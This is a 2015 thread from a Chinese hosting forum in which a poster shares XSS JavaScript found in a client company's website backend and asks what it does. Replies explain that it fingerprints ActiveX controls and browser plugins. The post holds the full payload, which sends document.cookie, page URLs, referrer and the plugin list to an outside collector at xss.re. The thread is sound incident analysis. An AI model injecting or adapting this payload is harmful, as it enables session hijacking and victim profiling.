全球主机交流论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

CeraNetworks网络延迟测速工具IP归属甄别会员请立即修改密码
查看: 3220|回复: 8

[Windows VPS] 请教高手这段xss代码的作用

[复制链接]
发表于 2015-1-13 23:45:27 | 显示全部楼层 |阅读模式
有个客户企业网站后台被xss了,特有此问


  1. var x=new Image();
  2. try
  3. {
  4. var myopener='';
  5. myopener=window.opener && window.opener.location ? window.opener.location : '';
  6. }
  7. catch(err)
  8. {
  9. }
  10. x.src='http://xss.re/XSS/?do=api&act=r&id=2603&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape

  11. (document.cookie)+'&diy[opener]='+escape(myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);var activexa = new Array(
  12.   "Flash Player 8|ShockwaveFlash.ShockwaveFlash.8|classID",
  13.   "Flash Player 9|ShockwaveFlash.ShockwaveFlash.9|classID",
  14.   "360Safe|360SafeLive.Update|classID",
  15.   "Alibaba User(AliEdit)|Aliedit.EditCtrl|classID",
  16.   "CMB Bank|CMBHtmlControl.Edit|classID",
  17.   "Apple IPOD USER|IPodUpdaterExt.iPodUpdaterInterface|classID",  
  18.   "Apple iTunes|iTunesAdmin.iTunesAdmin|classID",
  19.   "JRE 1.7|JavaWebStart.isInstalled.1.7.0.0|classID",
  20.   "JRE 1.6(WebStart)|JavaWebStart.isInstalled.1.6.0.0|classID",
  21.   "KMPlayer|KMPlayer.TKMPDropTarget|classID",
  22.   "KingSoft Word(�ʰ�)|KSEngine.Word|classID",
  23.   "Windows live Messanger|Messenger.MsgrObject|classID",
  24.   "Nero|NeroFileDialog.NeroFileDlg|classID",
  25.   "Nokia Cellphone|NokiaCL.PhoneControl|classID",
  26.   "PPlayer|PPlayer.XPPlayer|classID",
  27.   "Tencent QQ|Qqedit.PasswordEditCtrl|classID",
  28.   "QuickTime|QuickTime.QTElementBehavior|classID",
  29.   "Symantec Anti-Virus|Symantec.stInetTransferItem|classID",
  30.   "Xunlei|XunLeiBHO.ThunderIEHelper|classID"
  31. );

  32. function iescan(){
  33.           var mytmp;
  34.           var plus;
  35.           var bar;
  36.           var x=new Image();
  37.           for (i=0; i<activexa.length; i++){
  38.                   mytmp = activexa[i].split('|');  
  39.                   if ( checkobj(mytmp[1]) == true ){
  40.                               plus+="|"+mytmp[0]+"<br>";
  41.                                   
  42.                   }
  43.           }
  44.          bar = escape(plus);
  45.         x.src='http://xss.re/XSS/?do=api&act=r&id=2603&a=cplus&plus='+bar+'&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape(document.cookie)+'&diy[opener]='+escape(document.myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);

  46. }


  47. function checkobj(objName){
  48.         try {
  49.                   var Obj = new ActiveXObject(objName);
  50.                   return true;
  51.   } catch (e){
  52.                         return false;
  53.   }
  54. }
  55. //-------------
  56. function check_plus() {
  57.         var plus = "";
  58.         var bar = "";
  59.         var b=new Image();
  60. var num_of_plugins = navigator.plugins.length;
  61. for (var i=0; i < num_of_plugins; i++) {
  62.          plus+= navigator.plugins[i].name+"&nbsp;|&nbsp;"+ navigator.plugins[i].filename +"<br>";
  63.    }
  64.     bar = escape(plus);
  65.     b.src='http://xss.re/XSS/?do=api&act=r&id=2603&a=cplus&plus='+bar+'&diy[location]='+escape(document.location)+'&diy[toplocation]='+escape(top.document.location)+'&diy[cookie]='+escape(document.cookie)+'&diy[opener]='+escape(myopener)+'&diy[referrer]='+escape(document.referrer)+'&diy[title]='+escape(document.title);

  66. }

  67. function MyPlusCheck() {

  68.         if(!+[1,]){
  69. iescan();
  70. }else{
  71.    check_plus();
  72. }
  73. }
  74. setTimeout("MyPlusCheck()", 3000);
复制代码
发表于 2015-1-14 00:18:04 | 显示全部楼层
似乎是获取访问者的相关信息。。包括在此站的cookie referrer 浏览器插件 访问的页面URL以及标题 通过生成一个伪图片src让浏览器发送到xss.re

点评

+1  发表于 2015-1-14 03:42
 楼主| 发表于 2015-1-14 01:43:45 | 显示全部楼层
雨宫音羽 发表于 2015-1-14 00:18
似乎是获取访问者的相关信息。。包括在此站的cookie referrer 浏览器插件 访问的页面URL以及标题 通过生成 ...

多谢,应该是也有获取登录站点cookies里密码的效果?
发表于 2015-1-14 02:00:40 | 显示全部楼层
Captain 发表于 2015-1-14 01:43
多谢,应该是也有获取登录站点cookies里密码的效果?

cookie都获取到了 里面啥东西那肯定也一起过去了。。
 楼主| 发表于 2015-1-14 03:38:45 | 显示全部楼层
雨宫音羽 发表于 2015-1-14 02:00
cookie都获取到了 里面啥东西那肯定也一起过去了。。

只限制这个站点的cookies,还会不会涉及到本地计算机其他隐私信息?
发表于 2015-1-14 05:24:48 | 显示全部楼层
如果是只有这些代码的话那就只有我说的那些信息没别的

毕竟都只是“正常”使用Javascript。。没搞溢出之类的...
 楼主| 发表于 2015-1-14 16:40:35 | 显示全部楼层
雨宫音羽 发表于 2015-1-14 05:24
如果是只有这些代码的话那就只有我说的那些信息没别的

毕竟都只是“正常”使用Javascript。。没搞溢出之类 ...

嗯嗯,中间还有一段很多软件的代码是什么含义?
发表于 2015-1-14 16:45:00 | 显示全部楼层
Captain 发表于 2015-1-14 16:40
嗯嗯,中间还有一段很多软件的代码是什么含义?

检测浏览器插件的
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|全球主机交流论坛

GMT+8, 2024-4-26 05:56 , Processed in 0.061671 second(s), 9 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表